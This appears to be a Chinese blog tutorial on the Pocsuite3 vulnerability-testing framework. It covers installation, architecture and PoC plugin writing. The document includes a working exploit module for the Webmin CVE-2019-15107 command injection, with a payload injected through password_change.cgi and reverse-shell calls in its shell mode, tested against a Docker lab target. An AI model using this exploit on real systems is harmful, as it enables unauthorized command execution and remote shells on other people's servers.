Pocsuite渗透框架


一、Pocsuite简介

Pocsuite 是由知道创宇 404 实验室开发的一款开源的远程漏洞测试框架,自 2015 年开源以来一直由该团队持续维护。它基于 Python 3 编写,支持 Windows、Linux、Mac OS X 等多种操作系统。

1.1 主要功能

  • 漏洞测试框架
    Pocsuite 支持验证(verify)、攻击(attack)和交互式 shell(shell)三种模式,可以指定单个目标或从文件导入多个目标,使用单个 PoC 或 PoC 集合进行漏洞验证或利用。它还支持命令行模式和类似 Metasploit 的交互模式。
  • PoC/Exp 开发框架
    Pocsuite 提供了基础的 PoC 类和常用方法(如 Webshell 相关方法),开发者只需编写漏洞验证的核心代码。基于 Pocsuite 编写的 PoC/Exp 可以直接被框架使用。
  • 可集成模块
    Pocsuite 可以作为 Python 包被集成到其他漏洞测试工具中,支持二次开发。
  • 集成安全服务
    它集成了 ZoomEye、Seebug、Ceye、Shodan 等安全服务的 API,可以批量获取测试目标、读取 PoC 或验证盲打的 DNS 和 HTTP 请求。

二、安装方法

2.1 使用 Python3 pip 安装

pip3 install pocsuite3

# 使用国内镜像加速
pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pocsuite3

2.2 在 MacOS 上安装

brew update
brew info pocsuite3
brew install pocsuite3

Homebrew的安装参考:https://brew.idayer.com/guide/start

2.3 Debian/Ubuntu/kali

sudo apt update
sudo apt install pocsuite3

2.4 Docker

docker run -it pocsuite3/pocsuite3

2.5 源码安装

wget https://github.com/knownsec/pocsuite3/archive/master.zip
unzip master.zip
cd pocsuite3-master
pip3 install -r requirements.txt
python3 setup.py install

三、架构

四大模块:目标收集、PoC 插件加载、多线程检测、结果汇总。

pocsuite整体框架

3.1 目标收集

首先来看一下目标收集,目前支持以下方式:

  • -u 指定单个 URL 或者 CIDR,支持 IPv4 / IPv6。使用 -p 参数可以提供额外的端口,配合 CIDR 可以很方便的探测一个目标网段
  • -f 指定一个文件,将多个 URL/CIDR 存到文件中,每行一个
  • --dork,框架集成了 ZoomEye、Shodan 等常见网络空间搜索引擎,只需要使用相应的参数提供搜索关键词和 API-KEY 即可自动导入目标。值得一提的是,用户也可以将搜索关键词放到 PoC 插件的 dork 属性中
  • --plugins 调用插件加载目标,比如 target_from_redis。用户也可以自定义 TARGETS 类型插件

3.2 PoC 插件加载

  • -r 选项支持指定一个或多个 PoC 路径(或目录),如果提供的是目录,框架将遍历目录然后加载所有符合条件的 PoC,用户可以用 -k 选项指定关键词对 PoC 进行筛选,如组件名称、CVE编号等。如果我们确认了目标组件,就可以用 -k 选项找到所以对应的 PoC 对目标进行批量测试。如果只提供了 -k 选项,-r 默认为 Pocsuite3 自带的 pocsuite3/pocs 目录
  • --plugins 调用插件加载 PoC,比如 poc_from_seebugpoc_from_redis。用户也可以自定义 POCS 类型插件

3.3 多线程检测

  • 当用户指定了目标和 PoC 后,框架会将每个目标和 PoC 进行匹配(笛卡尔积),生成一个元素为 (target, poc_module) 的队列,然后起一个默认大小为 150(可通过 --threads 设置) 的线程池处理这个队列。

  • 在 Pocsuite3 中,PoC 插件有三种运行模式,分别对应 PoC 插件中定义的三种方法,可使用命令行参数 --verify--attack--shell 决定执行哪种方法,如果不指定,默认是 --verify

  • 线程要做的就是以 target 为参数初始化 PoC 插件并执行指定方法,然后获取执行结果。

3.4 结果汇总

上一步获取了执行结果后,框架提供了多种方法对结果进行处理并保存:

  • 控制台日志,-v 参数控制日志级别,--ppt 参数可以对 IP 地址马赛克处理,方便录屏
  • -o 参数将运行结果保存为 JSON Lines 格式的文件
  • --plugins 调用插件对结果进行处理,比如:file_recordhtml_report。用户也可以自定义 RESULTS 类型插件

四、运行模式

Pocsuite3 有三种运行方法,1、命令行;2、交互式控制台;3、集成调用。

4.1 命令行

直接运行 pocsuite 命令,并使用对应参数指定待测试的目标和 PoC。

4.2 交互式控制台

类似 Metasploit 的控制台,使用 poc-console 命令进入。

4.3 集成调用

当成一个模块来使用。

截屏2025-01-20 17.20.34

五、 如何编写 PoC

框架只是躯壳,PoC 才是灵魂。

Pocsuite3 可以通过 -n--new 参数自动生成 PoC 模版。

5.1 PoC 插件的三种模式

1、verify 模式,验证漏洞存在。验证方式取决于具体的漏洞类型,比如检查目标的软件版本、判断某个关键 API 的状态码或返回、读取特定文件、执行一个命令并获取结果,结合 DNSLog 带外回显等。该模式用于批量漏洞排查,一般不需要用户提供额外参数 ,且应尽可能对目标无害。

2、attack 模式,攻击模式,可实现某种特定需求。比如获取特定数据、写入一句话并返回 shell 地址、从命令行参数获取命令并执行、从命令行参数获取文件路径并返回文件内容等。

3、shell 模式,获取交互式 shell,此模式下会默认监听本机的 6666 端口(可通过 --lhost--lport 参数修改),编写对应的代码,让目标执行反连 Payload 反向连接到设定的 IP 和端口即可得到一个 shell。

反连 Payload 可参考:[GTFOBins Reverse shell](https://gtfobins.github.io/#+reverse shell)。

在 PoC 插件中,attack 模式和 shell 模式的实现是可选的。

5.2 PoC 插件基类

为了简化 PoC 插件的编写,Pocsuite3 实现了 PoC 基类:POCBase,很多共用的代码片段都可以放到此基类中。我们编写 PoC 时,只需要继承该基类就可,比较常用的属性和方法如下:

常用属性:

self.url  # 目标 url
self.scheme  # 目标 url 的协议
self.rhost  # 目标 url 的主机名
self.rport  # 目标 url 的端口
self.host_ip  # 本机的 wan 口 ip

常用方法:

self._check()  # 端口开放检查、http/https 协议自动纠正、dork 检查、蜜罐检查
self.get_option('key')  # 获取命令行参数 --key 的值
self.parse_output({})  # 返回结果的方法,参数是一个字典

5.3 案例:Webmin 未授权远程命令执行漏洞(CVE-2019-15107)

Webmin 是功能强大的基于 Web 的 Unix 系统管理工具,管理员可以通过浏览器访问 Webmin 的各种管理功能并完成相应的管理动作。Webmin <= 1.920 版本的 /password_change.cgi 接口存在一处未授权命令注入漏洞。

基于网上公开的漏洞细节,我们可以很容易的开发出该漏洞的 PoC 插件。

  • 首先使用 --new 参数生成 PoC 模版(如果嫌属性比较多,一路回车即可):
→pocsuite --new
...
You are about to be asked to enter information that will be used to create a poc template.
There are quite a few fields but you can leave some blank.
For some fields there will be a default value.
-----
Seebug ssvid (eg, 99335) [0]: 98060  # Seebug 漏洞收录ID,如果没有则为0
PoC author (eg, Seebug) []: Seebug  # PoC 的作者
Vulnerability disclosure date (eg, 2021-8-18) [2022-07-11]: 2019-08-19  # 漏洞公开日期
Advisory URL (eg, https://www.seebug.org/vuldb/ssvid-99335) [https://www.seebug.org/vuldb/ssvid-98060]:  # 漏洞来源地址
Vulnerability CVE number (eg, CVE-2021-22123) []: CVE-2019-15107  # CVE 编号
Vendor name (eg, Fortinet) []:  # 厂商名称
Product or component name (eg, FortiWeb) []: Webmin  # 漏洞应用名称
Affected version (eg, <=6.4.0) []: <=1.920  # 漏洞影响版本
Vendor homepage (eg, https://www.fortinet.com) []: https://www.webmin.com  # 厂商官网

0    Arbitrary File Read
1    Code Execution
2    Command Execution
3    Denial Of service
4    Information Disclosure
5    Login Bypass
6    Path Traversal
7    SQL Injection
8    SSRF
9    XSS

Vulnerability type, choose from above or provide (eg, 3) []: 2  # 选择漏洞类型
Authentication Required (eg, yes) [no]: no  # 漏洞是否需要认证
Can we get result of command (eg, yes) [no]: yes  # 是否可以获取命令执行结果
PoC name [Webmin <=1.920 Pre-Auth Command Execution (CVE-2019-15107)]:  # PoC 名称
Filepath in which to save the poc [./webmin_1.920_pre-auth_command_execution_cve-2019-15107.py]  # 保存 PoC 的文件路径
[14:50:49] [INFO] Your poc has been saved in ./webmin_1.920_pre-auth_command_execution_cve-2019-15107.py :)

生成的 PoC 模版如下:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# 建议统一从 pocsuite3.api 导入
from pocsuite3.api import (
    minimum_version_required, POCBase, register_poc, requests, logger,
    OptString, OrderedDict,
    random_str,
    get_listener_ip, get_listener_port, REVERSE_PAYLOAD
)

# 限定框架版本,避免在老的框架上运行新的 PoC 插件
minimum_version_required('1.9.6')


# DemoPOC 类,继承自基类 POCBase
class DemoPOC(POCBase):
    # PoC 和漏洞的属性信息
    vulID = '98060'
    version = '1'
    author = 'Seebug'
    vulDate = '2019-08-19'
    createDate = '2022-07-11'
    updateDate = '2022-07-11'
    references = ['https://www.seebug.org/vuldb/ssvid-98060']
    name = 'Webmin <=1.920 Pre-Auth Command Execution (CVE-2019-15107)'
    appPowerLink = 'https://www.webmin.com'
    appName = 'Webmin'
    appVersion = '<=1.920'
    vulType = 'Command Execution'
    desc = 'Vulnerability description'
    samples = ['']  # 测试样列,就是用 PoC 测试成功的目标
    install_requires = ['']  # PoC 第三方模块依赖
    pocDesc = 'User manual of poc'
    # 搜索 dork,如果运行 PoC 时不提供目标且该字段不为空,将会调用插件从搜索引擎获取目标。
    dork = {'zoomeye': ''}
    suricata_request = ''
    suricata_response = ''

    # 定义额外的命令行参数,用于 attack 模式
    def _options(self):
        o = OrderedDict()
        o['cmd'] = OptString('uname -a', description='The command to execute')
        return o

    # 漏洞的核心方法
    def _exploit(self, param=''):
        # 使用 self._check() 方法检查目标是否存活,是否是关键词蜜罐。
        if not self._check(dork=''):
            return False

        headers = {'Content-Type': 'application/x-www-form-urlencoded'}
        payload = 'a=b'
        res = requests.post(self.url, headers=headers, data=payload)
        logger.debug(res.text)
        return res.text

    # verify 模式的实现
    def _verify(self):
        result = {}
        flag = random_str(6)
        param = f'echo {flag}'
        res = self._exploit(param)
        if res and flag in res:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
            result['VerifyInfo'][param] = res
        # 统一调用 self.parse_output() 返回结果
        return self.parse_output(result)

    # attack 模式的实现
    def _attack(self):
        result = {}
        # self.get_option() 方法可以获取自定义的命令行参数
        param = self.get_option('cmd')
        res = self._exploit(param)
        result['VerifyInfo'] = {}
        result['VerifyInfo']['URL'] = self.url
        result['VerifyInfo'][param] = res
        # 统一调用 self.parse_output() 返回结果
        return self.parse_output(result)

    # shell 模式的实现
    def _shell(self):
        try:
            self._exploit(REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port()))
        except Exception:
            pass


# 将该 PoC 注册到框架。
register_poc(DemoPOC)

在以上 PoC 模版的基础上,结合漏洞细节,重写 _exploit() 方法,如下:

def _exploit(self, param=''):
    if not self._check(dork='<title>Login to Webmin</title>'):
        return False

    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'Referer': f'{self.url}/session_login.cgi'
    }
    payload = f'user=rootxx&pam=&expired=2&old=test|{param}&new1=test2&new2=test2'
    res = requests.post(f'{self.url}/password_change.cgi', headers=headers, data=payload)
    logger.debug(res.text)
    return res.text.split('The current password is incorrect')[-1].split('</h3></center>')[0]

然后就是搭建 docker 靶场测试了:

docker run -it --rm -p 10000:10000 pocsuite3/cve-2019-15107

verify 模式 ok:

attack 模式获取命令行参数执行并返回结果,--options 参数可以查看 PoC 定义的额外命令行参数:

shell 模式用 bash 的反连回不来,未深究,改用 python 的就可以了。需要注意的是,由于反连 payload 存在一些特殊字符,需要结合漏洞具体情况具体分析,比如使用 base64 编码等绕过限制。

def _shell(self):
    try:
        self._exploit(REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port()))
        self._exploit(REVERSE_PAYLOAD.PYTHON.format(get_listener_ip(), get_listener_port()))
    except Exception:
        pass

shell 模式 ok:

官方文档

https://pocsuite.org/guide/what-is-pocsuite3.html#%E4%B8%80%E4%BA%9B%E7%89%B9%E6%80%A7


文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录